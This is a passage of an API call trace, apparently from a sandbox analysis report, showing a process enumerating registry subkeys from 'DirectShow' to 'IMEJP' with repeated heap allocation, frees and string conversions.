BaseAddress=0x22fc120) returned 1 [0025.635] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.635] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.635] RegEnumKeyW (in: hKey=0x38, dwIndex=0x17, lpName=0x22fb930, cchName=0x104 | out: lpName="DirectShow") returned 0x0 [0025.635] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0025.635] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x22fc0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshow", lpUsedDefaultChar=0x0) returned 10 [0025.635] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.635] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.635] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.635] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.635] RegEnumKeyW (in: hKey=0x38, dwIndex=0x18, lpName=0x22fb930, cchName=0x104 | out: lpName="DirectX") returned 0x0 [0025.635] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0025.635] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x22fc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directx", lpUsedDefaultChar=0x0) returned 7 [0025.635] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.635] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.635] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.635] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.635] RegEnumKeyW (in: hKey=0x38, dwIndex=0x19, lpName=0x22fb930, cchName=0x104 | out: lpName="Driver Signing") returned 0x0 [0025.635] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0025.635] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x22fc0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driver signing", lpUsedDefaultChar=0x0) returned 14 [0025.636] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.636] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.636] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.636] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.636] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1a, lpName=0x22fb930, cchName=0x104 | out: lpName="DRM") returned 0x0 [0025.636] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0025.636] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x22fc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drm", lpUsedDefaultChar=0x0) returned 3 [0025.636] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.636] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.636] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.636] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.636] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1b, lpName=0x22fb930, cchName=0x104 | out: lpName="DVR") returned 0x0 [0025.636] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0025.636] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x22fc0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dvr", lpUsedDefaultChar=0x0) returned 3 [0025.636] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.636] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.636] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.636] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.636] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1c, lpName=0x22fb930, cchName=0x104 | out: lpName="DXP") returned 0x0 [0025.636] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0025.636] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x22fc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxp", lpUsedDefaultChar=0x0) returned 3 [0025.636] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.636] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.636] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.636] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.636] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1d, lpName=0x22fb930, cchName=0x104 | out: lpName="EnterpriseCertificates") returned 0x0 [0025.636] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0025.637] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x22fc0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enterprisecertificates", lpUsedDefaultChar=0x0) returned 22 [0025.637] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.637] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.637] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.637] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.637] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1e, lpName=0x22fb930, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0025.637] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0025.637] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x22fc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0025.637] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.637] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.637] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.637] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.637] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1f, lpName=0x22fb930, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0025.637] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0025.637] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x22fc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0025.637] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.637] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.637] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.637] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.637] RegEnumKeyW (in: hKey=0x38, dwIndex=0x20, lpName=0x22fb930, cchName=0x104 | out: lpName="Fax") returned 0x0 [0025.637] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0025.637] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x22fc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0025.637] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.637] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.637] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.637] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.637] RegEnumKeyW (in: hKey=0x38, dwIndex=0x21, lpName=0x22fb930, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0025.637] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0025.638] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x22fc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0025.638] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.638] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.638] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.638] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.638] RegEnumKeyW (in: hKey=0x38, dwIndex=0x22, lpName=0x22fb930, cchName=0x104 | out: lpName="FlashConfig") returned 0x0 [0025.638] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0025.638] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x22fc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashconfig", lpUsedDefaultChar=0x0) returned 11 [0025.638] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.638] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.638] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.638] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.638] RegEnumKeyW (in: hKey=0x38, dwIndex=0x23, lpName=0x22fb930, cchName=0x104 | out: lpName="FTH") returned 0x0 [0025.638] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0025.638] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x22fc0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fth", lpUsedDefaultChar=0x0) returned 3 [0025.638] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.638] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.638] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.638] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.638] RegEnumKeyW (in: hKey=0x38, dwIndex=0x24, lpName=0x22fb930, cchName=0x104 | out: lpName="Function Discovery") returned 0x0 [0025.638] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0025.638] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x22fc120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="function discovery", lpUsedDefaultChar=0x0) returned 18 [0025.638] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.638] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.638] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.639] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.639] RegEnumKeyW (in: hKey=0x38, dwIndex=0x25, lpName=0x22fb930, cchName=0x104 | out: lpName="Fusion") returned 0x0 [0025.639] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0025.639] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x22fc0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fusion", lpUsedDefaultChar=0x0) returned 6 [0025.639] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.639] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.639] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.639] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.639] RegEnumKeyW (in: hKey=0x38, dwIndex=0x26, lpName=0x22fb930, cchName=0x104 | out: lpName="GPUPipeline") returned 0x0 [0025.639] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0025.639] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x22fc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpupipeline", lpUsedDefaultChar=0x0) returned 11 [0025.639] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.639] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.639] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.639] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.639] RegEnumKeyW (in: hKey=0x38, dwIndex=0x27, lpName=0x22fb930, cchName=0x104 | out: lpName="HTMLHelp") returned 0x0 [0025.639] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0025.639] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x22fc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htmlhelp", lpUsedDefaultChar=0x0) returned 8 [0025.639] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.639] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.639] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.639] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.639] RegEnumKeyW (in: hKey=0x38, dwIndex=0x28, lpName=0x22fb930, cchName=0x104 | out: lpName="IdentityCRL") returned 0x0 [0025.639] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0025.639] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x22fc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitycrl", lpUsedDefaultChar=0x0) returned 11 [0025.640] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.640] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.640] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.640] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.640] RegEnumKeyW (in: hKey=0x38, dwIndex=0x29, lpName=0x22fb930, cchName=0x104 | out: lpName="IdentityStore") returned 0x0 [0025.640] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0025.640] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x22fc0d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitystore", lpUsedDefaultChar=0x0) returned 13 [0025.640] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.640] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.640] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.640] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.640] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2a, lpName=0x22fb930, cchName=0x104 | out: lpName="IMAPI") returned 0x0 [0025.640] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0025.640] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x22fc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imapi", lpUsedDefaultChar=0x0) returned 5 [0025.640] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.640] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.640] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.640] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.640] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2b, lpName=0x22fb930, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0025.640] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 